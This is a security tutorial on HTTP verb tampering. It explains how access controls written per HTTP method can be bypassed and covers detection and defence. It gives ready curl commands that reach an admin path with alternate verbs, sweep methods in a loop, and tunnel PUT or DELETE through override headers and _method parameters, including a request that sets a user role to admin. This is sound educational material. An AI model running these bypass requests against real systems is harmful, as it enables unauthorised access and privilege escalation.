HTTP Verb Tampering

HTTP verb tampering bypasses an access control by sending the request with a different method than the developer anticipated. If the protection only covers GET and POST, switching to HEAD, PUT or even an arbitrary verb can slip the request through without authentication.

Why it works. Many authorization rules are written "per method": a security constraint (in web.xml, in the server config or in a WAF) that only lists GET and POST. Most servers, however, process other verbs, and some frameworks treat an unknown method as if it were GET. The result: the application logic runs, but the guard meant to stop it never fires because it only looked at the "listed" methods.

The abuse. You take a blocked request and try other methods until you find one that escapes the constraint but the server still serves.

# the normal request is protected (401/403)
curl -i https://<domain>/admin/config

# the same resource with HEAD or an arbitrary verb may bypass the control
curl -i -X HEAD https://<domain>/admin/config
curl -i -X FOO  https://<domain>/admin/config

# quick verb sweep: see which one returns 2xx instead of 401/403/405
for m in GET POST HEAD PUT DELETE OPTIONS PATCH TRACE FOO; do
  printf '%-8s ' "$m"; curl -s -o /dev/null -w '%{http_code}\n' -X "$m" https://<domain>/admin/config
done

Method overrides (headers and parameters). When the server itself won't accept the verb, many frameworks let you "tunnel" it: you send a POST (which the WAF does allow) and a header or parameter tells the app to treat it as another method. Handy to reach protected PUT/DELETE routes by sneaking in over POST.

# override headers (Java/Spring, some proxies and REST APIs)
curl -i -X POST -H 'X-HTTP-Method-Override: PUT'    https://<domain>/api/user/1 -d '{"role":"admin"}'
curl -i -X POST -H 'X-HTTP-Method: DELETE'          https://<domain>/api/user/1
curl -i -X POST -H 'X-Method-Override: PUT'         https://<domain>/api/user/1

# _method parameter (Rails, Laravel, Symfony) tunneled inside a form POST
curl -i -X POST https://<domain>/user/1 -d '_method=DELETE'

Requirements. You need an access control defined by method (not by identity) and a server that accepts methods not covered by that rule. It does not always exist: if authorization is checked in the application logic for any method, the verb changes nothing.

How to detect it. The signal is traffic with uncommon HTTP methods (HEAD, PUT, DELETE, invented verbs) toward sensitive paths, and successful responses (2xx) to methods that should return 405 Method Not Allowed. In the logs, requests with odd verbs followed by access to administrative functions are the pattern; a WAF can alert on methods outside an allow-list.

Defence. Check authorization by identity, not by method, apply the restriction to all verbs (or deny by default and allow only the needed ones), and disable HTTP methods the application does not use. It is a cousin of other access-control bypasses like IDOR and the X-Forwarded-For bypass: all exploit authorization looking at the wrong signal.